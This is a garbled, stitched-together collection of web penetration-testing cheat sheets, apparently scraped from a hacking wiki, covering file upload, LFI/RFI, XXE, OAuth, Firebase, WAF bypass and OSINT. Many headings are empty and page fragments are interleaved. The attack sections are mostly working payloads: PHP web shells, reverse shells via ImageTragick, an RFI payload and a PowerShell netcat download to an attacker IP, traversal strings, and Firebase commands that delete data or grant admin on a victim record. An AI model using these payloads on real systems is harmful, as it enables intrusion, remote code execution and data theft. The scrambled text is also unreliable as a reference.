    upload.pHp			---	To bypass The BlackList.
    upload .htaccess 		--- 	By uploading this [jpg,png] files can be executed as php with milicious code within it.
    pixelFlood.jpg			---	To test againt the DOS.
    frameflood.gif			---	upload gif file with 10^10 Frames
    Malicious zTXT  		--- 	upload UBER.jpg 
    Upload zip file			---	test againts Zip slip (only when file upload supports zip file)
    Check Overwrite Issue		--- 	Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
    SVG to XSS			---	Check if you can upload SVG files and can turn them to cause XSS on the target app
    SQLi Via File upload		---	Try uploading `sleep(10)-- -.jpg` as file
    Logo

    LFI/RFI

    hashtag
    Tools

    circle-info

    How to

    1. Look requests with filename like include=main.inc template=/en/sidebar file=foo/file1.txt

    2. Modify and test: file=foo/bar/../file1.txt

      1. If the response is the same could be vulnerable

      2. If not there is some kind of block or sanitizer

    3. Try to access world-readable files like /etc/passwd /win.ini

    hashtag
    LFI

    hashtag
    RFI

    hashtag
    Related Topics

    • - Server-side request forgery

    • - RCE via file inclusion

    • - Upload to RCE

    XXE

    hashtag
    Summary

    circle-info

    XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access.

    Detection:

    Check:

    If works, then:

    hashtag
    Tools

    hashtag
    Attacks

    hashtag
    Mindmap

    Firebase

    hashtag
    Overview

    Firebase is a Backend-as-a-Service (BaaS) platform by Google. Misconfigurations can lead to data exposure, unauthorized access, and account takeover.

    hashtag
    Common Misconfigurations

    hashtag
    Insecure Realtime Database

    hashtag
    Insecure Cloud Firestore

    hashtag
    Insecure Storage Buckets

    hashtag
    Enumeration

    hashtag
    Finding Firebase Projects

    hashtag
    API Key Extraction

    hashtag
    Exploitation

    hashtag
    Database Data Exfiltration

    hashtag
    Authentication Bypass

    hashtag
    Write Access Exploitation

    hashtag
    Cloud Functions Exploitation

    hashtag
    Tools

    hashtag
    Python Connector

    hashtag
    Security Rules Analysis

    hashtag
    Reporting Findings

    When reporting Firebase misconfigurations:

    1. Data Exposure: Document what data is accessible (PII, credentials, etc.)

    2. Write Access: Demonstrate ability to modify data (use test entries)

    3. Impact: Explain business impact (data breach, service disruption)

    hashtag
    Resources

    Testing Two-Factor Authenticationwww.nccgroup.comchevron-right

    Public info gathering

    Skill Level: Beginner Prerequisites: None - good starting point

    hashtag
    OSINT resources

    hashtag

    WAFs

    hashtag
    Tools

    WebDav

    JWTAuditor - Advanced JWT Security Testing ToolJWTAuditorchevron-right
    Adobe CQ Pentesting Guide – Part 1 | Infosecwww.infosecinstitute.comchevron-right
    # OAuth 2.0
    https://oauth.net/2/
    https://oauth.net/2/grant-types/authorization-code/
    
    Flow:
    
    1. MyWeb tried integrate with Twitter.
    2. MyWeb request to Twitter if you authorize.
    3. Prompt with a consent.
    4. Once accepted Twitter send request redirect_uri with code and state.
    5. MyWeb take code and it's own client_id and client_secret and ask server for access_token.
    6. MyWeb call Twitter API with access_token.
    
    Definitions:
    
    - resource owner: The resource owner is the user/entity granting access to their protected resource, such as their Twitter account Tweets
    - resource server: The resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner . In the above example, this would be https://twitter.com
    - client application: The client application is the application requesting authorization from the resource owner. In this example, this would be https://yourtweetreader.com.
    - authorization server: The authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. In the above example, this would be https://twitter.com
    - client_id: The client_id is the identifier for the application. This is a public, non-secret unique identifier.
    - client_secret: The client_secret is a secret known only to the application and the authorization server. This is used to generate access_tokens
    - response_type: The response_type is a value to detail which type of token is being requested, such as code
    - scope: The scope is the requested level of access the client application is requesting from the resource owner
    - redirect_uri: The redirect_uri  is the URL the user is redirected to after the authorization is  complete. This usually must match the redirect URL that you have  previously registered with the service
    - state: The state  parameter can persist data between the user being directed to the  authorization server and back again. It’s important that this is a  unique value as it serves as a CSRF protection mechanism if it contains a  unique or random value per request
    - grant_type: The grant_type parameter explains what the grant type is, and which token is going to be returned
    - code: This code is the authorization code received from the authorization server which will be in the query string parameter “code” in this request. This code is used in conjunction with the client_id and client_secret by the client application to fetch an access_token
    - access_token: The access_token is the token that the client application uses to make API requests on behalf of a resource owner
    - refresh_token: The refresh_token allows an application to obtain a new access_token without prompting the user
    # Weak redirect_uri
    1. Alter the redirect_uri URL with TLD aws.console.amazon.com/myservice -> aws.console.amazon.com
    2. Finish OAuth flow and check if you're redirected to the TLD, then is vulnerable
    3. Check your redirect is not to Referer header or other param
    
    https://yourtweetreader.com/callback?redirectUrl=https://evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com//evil.com/
    https://www.target01.com/api/OAUTH?next=https://www.target01.com%09.evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com%252e.evil.com
    https://www.target01.com/api/OAUTH/?next=https://www.target01.com/project/team
    http://target02.com/oauth?redirect_uri=https://evil.com[.target02.com/
    https://www.target01.com/api/OAUTH/?next=https://yourtweetreader.com.evil.com
    https://www.target.com/endpoint?u=https://EVILtwitter.com/
    
    ffuf -w words.txt -u https://www.target.com/endpoint?u=https://www.FUZZ.com/ 
    
    # Path traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com
    
    # HTML Injection and stealing tokens via referer header
    Check referer header in the requests for sensitive info
       
    # Access Token Stored in Browser History
    Check browser history for sensitive info
    
    # Improper handling of state parameter
    Check lack of state parameter and is in url params and is passed to all the flow
    Verifying State entropy
    Check state is not reused
    Remove state and URI and check request is invalid
    
    # Access Token Stored in JavaScript
    
    # Lack of verification
    If not email verification is needed in account creation, register before the victim.
    If not email verification in Oauth signing, register other app before the victim.
    
    # Access token passed in request body
    If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario. 
    An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens. 
    For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.
    
    # Reusability of an Oauth access token
    Replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
    https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
    https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0
    https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
    https://gauravnarwani.com/misconfigured-oauth-to-account-takeover/
    https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
    https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56
    https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567
    https://hackerone.com/reports/49759
    https://hackerone.com/reports/131202
    https://hackerone.com/reports/6017
    https://hackerone.com/reports/7900
    https://hackerone.com/reports/244958
    https://hackerone.com/reports/405100
    https://ysamm.com/?p=379
    https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
    https://medium.com/@godofdarkness.msf/mail-ru-ext-b-scope-account-takeover-1500-abdb1560e5f9
    https://medium.com/@tristanfarkas/finding-a-security-bug-in-discord-and-what-it-taught-me-516cda561295
    https://medium.com/@0xgaurang/case-study-oauth-misconfiguration-leads-to-account-takeover-d3621fe8308b
    https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
    http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html
    http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
    https://www.veracode.com/blog/research/spring-social-core-vulnerability-disclosure
    https://medium.com/@apkash8/oauth-and-security-7fddce2e1dc5
    https://xploitprotocol.medium.com/exploiting-oauth-2-0-authorization-code-grants-379798888893
    # File name validation
        # extension blacklisted:
        PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
        ASP: .asp, .aspx, .cer, .asa
        Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
        Coldfusion: .cfm, .cfml, .cfc, .dbm
        Using random capitalization: .pHp, .pHP5, .PhAr
    
        pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
        # extension whitelisted:
        file.jpg.php
        file.php.jpg
        file.php.blah123jpg
        file.php%00.jpg
        file.php\x00.jpg
        file.php%00
        file.php%20
        file.php%0d%0a.jpg
        file.php.....
        file.php/
        file.php.\
        file.
        .html
    # Content type bypass
        - Preserve name, but change content-type
        Content-Type: image/jpeg, image/gif, image/png
    # Content length:
        # Small bad code:
        <?='$_GET[x]'?>
        
    # Impact by extension
    asp, aspx, php5, php, php3: webshell, rce
    svg: stored xss, ssrf, xxe
    gif: stored xss, ssrf
    csv: csv injection
    xml: xxe
    avi: lfi, ssrf
    html, js: html injection, xss, open redirect
    png, jpeg: pixel flood attack dos
    zip: rce via lfi, dos
    pdf, pptx: ssrf, blind xxe
    
    # Path traversal
    ../../etc/passwd/logo.png
    ../../../logo.png
    
    # SQLi
    'sleep(10).jpg
    sleep(10)-- -.jpg
    
    # Command injection
    ; sleep 10;
    
    # ImageTragick
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
    pop graphic-context
    
    
    # XXE .svg
    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
    <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
    <text font-size="40" x="0" y="16">&xxe;</text>
    </svg>
    
    
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
    </svg>
    
    
    # XSS svg
    <svg onload=alert(document.comain)>.svg
    <?xml version="1.0" standalone="no"?>
    <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
    File Upload Checklist 3
    <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    <script type="text/javascript">
    alert("HolyBugx XSS");
    </script>
    </svg>
    
    
    # Open redirect svg
    <code>
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <svg
    onload="window.location='https://attacker.com'"
    xmlns="http://www.w3.org/2000/svg">
    <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
    </svg>
    </code>
    
        
    # Filter Bypassing Techniques
    # upload asp file using .cer & .asa extension (IIS — Windows)
    # Upload .eml file when content-type = text/HTML
    # Inject null byte shell.php%001.jpg
    # Check for .svg file upload you can achieve stored XSS using XML payload
    # put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
    # Upload large size file for DoS attack test using the image.
    # (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
    # If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
    # upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.
    
    # Advance Bypassing techniques
    # Imagetragick aka ImageMagick:
    https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
    https://github.com/neex/gifoeb
        
    # Upload file tool
    https://github.com/almandin/fuxploider
    python3 fuxploider.py --url https://example.com --not-regex "wrong file type"
    
    https://github.com/sAjibuu/upload_bypass
    # https://github.com/kurobeats/fimap
    fimap -u "http://10.11.1.111/example.php?test="
    # https://github.com/P0cL4bs/Kadimus
    ./kadimus -u localhost/?pg=contact -A my_user_agent
    # https://github.com/wireghoul/dotdotpwn
    dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
    # Apache specific: https://github.com/imhunterand/ApachSAL
    Logo
    Logo
    Logo
    - LFI to RCE chains
  • XXE - XML external entity attacks

  • SSRF
    Command Injection
    File Upload
    Web Exploits
    Remediation: Recommend proper security rules
    Firebase Security Rules Documentationarrow-up-right
    Firebase Security Checklistarrow-up-right
    OWASP Mobile Security Testing Guide - Firebasearrow-up-right
    davtest -cleanup -url http://target
    cadaver http://target
    # Basic LFI
    curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
    
    # If LFI, also check
    /var/run/secrets/kubernetes.io/serviceaccount
    
    # PHP Filter b64
    http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
    http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
    http://10.11.1.111/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
    # Nullbyte ending
    http://10.11.1.111/page=http://10.11.1.111/maliciousfile%00.txt
    http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00
    # Other techniques
    https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
    https://abc.redact.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
    https://abc.redact.com/static/../../../../../../../../../../../../../../../etc/passwd
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
    https://abc.redact.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
    https://abc.redact.com/asd.php?file:///etc/passwd
    https://abc.redact.com/asd.php?file:///etc/passwd%00
    https://abc.redact.com/asd.php?file:///etc/passwd%00.html
    https://abc.redact.com/asd.php?file:///etc/passwd%00.ext
    https://abc.redact.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
    https://target.com/admin..;/
    https://target.com/../admin
    https://target.com/whatever/..;/admin
    https://target.com/whatever.php~
    # Cookie based
    GET /vulnerable.php HTTP/1.1
    Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
    # LFI Windows
    http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini
    http://10.11.1.111/addguestbook.php?LANG=../../../../../../../../../../../../../../../boot.ini
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00
    http://10.11.1.111/addguestbook.php?LANG=/..//..//..//..//..//..//..//..//..//..//..//..//..//..//../boot.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.html
    http://10.11.1.111/addguestbook.php?LANG=file:///C:/boot.ini
    http://10.11.1.111/addguestbook.php?LANG=file:///C:/win.ini
    http://10.11.1.111/addguestbook.php?LANG=C:\\boot.ini%00.ext
    http://10.11.1.111/addguestbook.php?LANG=%SYSTEMROOT%\\win.ini%00.ext
    
    # LFI using video upload:
    https://github.com/FFmpeg/FFmpeg
    https://hackerone.com/reports/226756
    https://hackerone.com/reports/237381
    https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit
    https://github.com/neex/ffmpeg-avi-m3u-xbin
    
    # Contaminating log files
    root@kali:~# nc -v 10.11.1.111 80
    10.11.1.111: inverse host lookup failed: Unknown host
    (UNKNOWN) [10.11.1.111] 80 (http) open
     <?php echo shell_exec($_GET['cmd']);?> 
    http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig
    
    # Common LFI to RCE:
        Using file upload forms/functions
        Using the PHP wrapper expect://command
        Using the PHP wrapper php://file
        Using the PHP wrapper php://filter
        Using PHP input:// stream
        Using data://text/plain;base64,command
        Using /proc/self/environ
        Using /proc/self/fd
        Using log files with controllable input like:
            /var/log/apache/access.log
            /var/log/apache/error.log
            /var/log/vsftpd.log
            /var/log/sshd.log
            /var/log/mail
    
    # LFI possibilities by filetype
        ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
        SVG: Stored XSS / SSRF / XXE
        GIF: Stored XSS / SSRF
        CSV: CSV injection
        XML: XXE
        AVI: LFI / SSRF
        HTML / JS : HTML injection / XSS / Open redirect
        PNG / JPEG: Pixel flood attack (DoS)
        ZIP: RCE via LFI / DoS
        PDF / PPTX: SSRF / BLIND XXE
        
    # Chaining with other vulns    
    ../../../tmp/lol.png —> for path traversal
    sleep(10)-- -.jpg —> for SQL injection
    <svg onload=alert(document.domain)>.jpg/png —> for XSS
    ; sleep 10; —> for command injections
    
    # 403 bypasses
    /accessible/..;/admin
    /.;/admin
    /admin;/
    /admin/~
    /./admin/./
    /admin?param
    /%2e/admin
    /admin#
    /secret/
    /secret/.
    //secret//
    /./secret/..
    /admin..;/
    /admin%20/
    /%20admin%20/
    /admin%20/page
    /%61dmin
    
    # Path Bypasses
    # 16-bit Unicode encoding
    # double URL encoding
    # overlong UTF-8 Unicode encoding
    ….//
    ….\/
    …./\
    ….\\
    # RFI:
    http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
    Content of evil.txt:
    <?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
    # RFI over SMB (Windows)
    cat php_cmd.php
        <?php echo shell_exec($_GET['cmd']);?>
    # Start SMB Server in attacker machine and put evil script
    # Access it via browser (2 request attack):
    # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
    # http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
    
    # Cross Content Hijacking:
    https://github.com/nccgroup/CrossSiteContentHijacking
    https://soroush.secproject.com/blog/2014/05/even-uploading-a-jpg-file-can-lead-to-cross-domain-data-hijacking-client-side-attack/
    http://50.56.33.56/blog/?p=242
    
    # Encoding scripts in PNG IDAT chunk:
    https://yqh.at/scripts_in_pngs.php
    
    # Test for open database (no authentication required)
    curl https://PROJECT-ID.firebaseio.com/.json
    
    # If returns data = VULNERABLE
    # If returns "Permission Denied" = properly configured
    
    # Test for write access
    curl -X PUT -d '{"test": "data"}' https://PROJECT-ID.firebaseio.com/test.json
    
    # Test with shallow query (list keys only)
    curl "https://PROJECT-ID.firebaseio.com/.json?shallow=true"
    # Firestore uses different URL pattern
    # Testing requires Firebase SDK or REST API with proper auth
    
    # Check if Firestore rules allow public read
    # In Firebase Console: Firestore Database > Rules
    # Vulnerable rule:
    # match /{document=**} {
    #   allow read, write: if true;
    # }
    # Firebase Storage uses Google Cloud Storage
    # Bucket name format: PROJECT-ID.appspot.com
    
    # Test public access
    gsutil ls gs://PROJECT-ID.appspot.com/
    
    # Or via HTTP
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o"
    
    # List all files
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o?maxResults=1000"
    
    # Download specific file
    curl "https://firebasestorage.googleapis.com/v0/b/PROJECT-ID.appspot.com/o/FILENAME?alt=media"
    # From APK
    apktool d app.apk
    grep -r "firebaseio.com" app/
    grep -r "firebaseapp.com" app/
    grep -r "appspot.com" app/
    
    # Common files containing Firebase config
    # - google-services.json (Android)
    # - GoogleService-Info.plist (iOS)
    # - firebase-config.js (Web)
    
    # Extract from google-services.json
    cat google-services.json | jq '.project_info.firebase_url'
    cat google-services.json | jq '.project_info.storage_bucket'
    
    # From JavaScript files
    grep -Eo "[a-z0-9-]+\.firebaseio\.com" *.js
    grep -Eo "apiKey.*AIza[A-Za-z0-9_-]{35}" *.js
    # Firebase API keys are often exposed (they're meant to be public)
    # But combined with misconfigurations, they can be dangerous
    
    # Pattern: AIza followed by 35 chars
    grep -rEo "AIza[A-Za-z0-9_-]{35}" .
    
    # Project ID pattern
    grep -rEo "[a-z0-9-]{5,30}\.firebaseapp\.com" .
    
    # Full config extraction
    grep -rEo '"apiKey"\s*:\s*"AIza[A-Za-z0-9_-]{35}"' .
    #!/usr/bin/env python3
    import requests
    import json
    
    base_url = "https://PROJECT-ID.firebaseio.com"
    
    # Get all data
    response = requests.get(f"{base_url}/.json")
    if response.status_code == 200:
        data = response.json()
        print(json.dumps(data, indent=2))
    
    # Get shallow keys first (for large databases)
    response = requests.get(f"{base_url}/.json?shallow=true")
    keys = response.json().keys()
    
    # Then enumerate each collection
    for key in keys:
        response = requests.get(f"{base_url}/{key}.json")
        print(f"\n=== {key} ===")
        print(json.dumps(response.json(), indent=2))
    # If Firebase Auth is misconfigured, you might be able to:
    
    # 1. Create accounts without email verification
    # 2. Access authenticated endpoints without proper tokens
    # 3. Enumerate user accounts
    
    # Test anonymous authentication
    curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=API_KEY" \
      -H "Content-Type: application/json" \
      -d '{"returnSecureToken":true}'
    
    # This returns an idToken if anonymous auth is enabled
    # If write access is open, you can:
    
    # 1. Modify existing data
    curl -X PATCH -d '{"admin": true}' \
      "https://PROJECT-ID.firebaseio.com/users/victim.json"
    
    # 2. Delete data
    curl -X DELETE "https://PROJECT-ID.firebaseio.com/sensitive_data.json"
    
    # 3. Add malicious content (for XSS if data is reflected)
    curl -X PUT -d '{"content": "<script>alert(1)</script>"}' \
      "https://PROJECT-ID.firebaseio.com/posts/malicious.json"
    # Firebase Cloud Functions can have vulnerabilities
    
    # Find function endpoints
    # Usually: https://REGION-PROJECT-ID.cloudfunctions.net/FUNCTION_NAME
    
    # Test for:
    # - Missing authentication
    # - Input validation issues
    # - SSRF via user-controlled URLs
    # - Command injection
    
    # Enumerate functions from Firebase config
    # Check firebase.json in source code
    # Automated Firebase scanner
    # https://github.com/Turr0n/firebase
    python3 firebase.py -p 4 --dnsdumpster -l file
    
    # Firebase Exploit
    # https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
    python3 Firebase_Exploit.py
    
    # Firebase Extractor
    # https://github.com/viperbluff/Firebase-Extractor
    python3 firebase.py xyz.firebaseio.com
    
    # Baserunner - Firebase security assessment
    # https://github.com/iosiro/baserunner
    baserunner -c config.json
    
    # Fireward - Firebase security rules tester
    # https://github.com/nickmomrik/fireward
    # https://github.com/thisbejim/Pyrebase
    import pyrebase
    
    config = {
      "apiKey": "FIREBASE_API_KEY",
      "authDomain": "PROJECT-ID.firebaseapp.com",
      "databaseURL": "https://PROJECT-ID.firebaseio.com",
      "storageBucket": "PROJECT-ID.appspot.com",
    }
    
    firebase = pyrebase.initialize_app(config)
    db = firebase.database()
    
    # Read all data
    print(db.get().val())
    
    # Read specific path
    print(db.child("users").get().val())
    
    # Write data (if allowed)
    db.child("test").set({"key": "value"})
    // Insecure rules (VULNERABLE)
    {
      "rules": {
        ".read": true,
        ".write": true
      }
    }
    
    // Slightly better but still risky
    {
      "rules": {
        ".read": "auth != null",
        ".write": "auth != null"
      }
    }
    
    // Proper rules (per-user data)
    {
      "rules": {
        "users": {
          "$uid": {
            ".read": "$uid === auth.uid",
            ".write": "$uid === auth.uid"
          }
        }
      }
    }
    OSINT websites

    hashtag
    General / AIO

    hashtag
    Whois/Registrant Tools

    hashtag
    Dorks

    hashtag
    Google

    hashtag
    Tools

    hashtag
    Dorks

    hashtag
    GitHub

    hashtag
    Tools

    hashtag
    Dorks

    hashtag
    Shodan

    hashtag
    Dorks

    hashtag
    ASN/CIDR Tools

    hashtag
    Credentials leaks

    hashtag
    Email tools

    hashtag
    GIT tools

    hashtag
    Metadata

    hashtag
    Social Media

    # Content type "application/json" or "application/x-www-form-urlencoded" to "applcation/xml".
    # File Uploads allows for docx/xlsx/pdf/zip, unzip the package and add your evil xml code into the xml files.
    # If svg allowed in picture upload, you can inject xml in svgs.
    # If the web app offers RSS feeds, add your milicious code into the RSS.
    # Fuzz for /soap api, some applications still running soap apis
    # If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse
    whatwaf https://example.com
    wafw00f https://example.com
    
    # https://github.com/vincentcox/bypass-firewalls-by-DNS-history
    bash bypass-firewalls-by-DNS-history.sh -d example.com
    
    # Bypasser
    # https://github.com/RedSection/pFuzz
    # https://github.com/nemesida-waf/waf-bypass
    
    # Domain IP history
    https://viewdns.info/iphistory/
    
    # Bypasses and info
    https://github.com/0xInfection/Awesome-WAF
    https://github.com/waf-bypass-maker/waf-community-bypasses

    Race Conditions

    Race conditions occur when the timing of actions affects the outcome, allowing attackers to exploit the gap between check and use operations.

    Skill Level: Intermediate to Advanced Prerequisites: HTTP understanding, concurrency concepts

    hashtag
    Concepts

    hashtag
    Time-of-Check to Time-of-Use (TOCTOU)

    hashtag
    Common Vulnerable Operations

    Operation
    Attack Goal

    hashtag
    Testing Tools

    hashtag
    Turbo Intruder (Burp Suite)

    hashtag
    race-the-web

    hashtag
    Custom Python Script

    hashtag
    curl Parallel Requests

    hashtag
    Attack Scenarios

    hashtag
    Coupon/Discount Code Abuse

    hashtag
    Money Transfer Double-Spend

    hashtag
    Rate Limit Bypass

    hashtag
    File Upload Race

    hashtag
    Inventory/Stock Manipulation

    hashtag
    OAuth State Race

    hashtag
    Detection Indicators

    hashtag
    Advanced Techniques

    hashtag
    Single Packet Attack

    hashtag
    Last-Byte Synchronization

    hashtag
    HTTP/2 Multiplexing

    hashtag
    Tools & Resources

    hashtag
    Related Topics

    • - Often chains with race conditions

    • - APIs commonly vulnerable

    • - Rate limit bypass

    SSRF

    Skill Level: Intermediate Prerequisites: Networking, cloud architecture

    hashtag
    Tools

    hashtag

    SaaS Testing

    Security testing for common SaaS platforms - Slack, Microsoft Teams, Notion, Okta, and other collaboration tools.

    hashtag
    Slack

    hashtag
    Workspace Enumeration

    https://osintframework.com/
    https://i-intelligence.eu/uploads/public-documents/OSINT_Handbook_2020.pdf
    https://start.me/p/DPYPMz/the-ultimate-osint-collection
    https://docs.google.com/spreadsheets/d/18rtqh8EG2q1xBo2cLNyhIDuK9jrPGwYr9DI2UncoqJQ
    https://cipher387.github.io/
    # Multipurpose
    https://shodan.io/
    https://censys.io/
    https://onyphe.io/
    https://app.netlas.io/
    https://hunter.how/
    https://fofa.so/
    https://fullhunt.io/
    https://www.zoomeye.org/
    https://www.criminalip.io/
    https://leakix.net/
    https://www.yougetsignal.com/
    https://intelx.io/
    https://pentest-tools.com/
    https://gofindwhois.com/
    https://gofindwho.com/
    
    # Track website changes
    https://visualping.io/
    https://web.archive.org
    
    # Companies info
    https://opencorporates.com/companies
    
    # Domain Recon
    https://www.robtex.com/
    https://centralops.net
    https://viewdns.info/
    https://phpinfo.me/domain
    http://bgp.he.net/
    https://bgpview.io/
    https://suip.biz/
    https://dnsdumpster.com/
    https://www.whoxy.com/
    http://ipv4info.com/
    https://rapiddns.io/
    https://myip.ms/
    https://www.reversewhois.io/?
    https://www.whoxy.com/reverse-whois/
    https://reverse-whois.whoisxmlapi.com/api
    https://host.io/dashboard
    https://completedns.com/dns-history/
    
    # Analytics
    https://mmhdan.herokuapp.com/
    https://publicwww.com/
    https://intelx.io/tools?tab=analytics
    https://dnslytics.com/reverse-analytics
    https://builtwith.com/
    
    # Mailserver blacklists
    http://multirbl.valli.org/
    
    # Verify emails
    https://tools.emailhippo.com/
    
    # Dark web exposure
    https://immuniweb.com/radar/
    
    # New acquisitions
    https://crunchbase.com/
    
    # Public APIs
    https://www.postman.com/explore/
    https://rapidapi.com/
    
    # APIs Recon
    https://serene-agnesi-57a014.netlify.app/
    
    # Exif Data 
    https://exif-viewer.com
    
    # https://github.com/OWASP/Amass
    # Get ASN
    amass intel -org "whatever"
    # Reverse whois
    amass intel -active -asn NUMBER -whois -d domain.com
    # SSL Cert Grabbing
    amass enum -active -d example.com -cidr IF.YOU.GOT.THIS/24 -asn NUMBER
    
    # https://github.com/smicallef/spiderfoot
    spiderfoot -s domain.com
    
    # https://github.com/j3ssie/Osmedeus
    python3 osmedeus.py -t example.com
    
    # https://github.com/thewhiteh4t/FinalRecon
    python3 finalrecon.py --full https://example.com
    
    # https://github.com/laramies/theHarvester
    theHarvester -d domain.com -b all
    
    # https://github.com/lanmaster53/recon-ng
    recon-ng
    # https://github.com/jpf/domain-profiler
    ./profile target.com
    
    # Standard whois tool
    whois
    
    # Whoxy api
    # https://www.whoxy.com/
    # Whoxy clients
    # https://github.com/MilindPurswani/whoxyrm
    # https://github.com/vysecurity/DomLink
    
    # Registrant's domains related
    # https://github.com/harleo/knockknock
    knockknock -n "companyORregistrant" -p
    
    # Bulk whois
    # https://github.com/melbadry9/WhoEnum
    # Google Dorks Cli
    # https://github.com/six2dez/dorks_hunter
    python3 dorks_hunter.py -d domain.com
    
    # Google Dork builder
    http://advangle.com/
    # Google dorks helper
    https://dorks.faisalahmed.me/
    # Ip search by dorking
    https://0iq.me/gip/
    
    # Code share sites
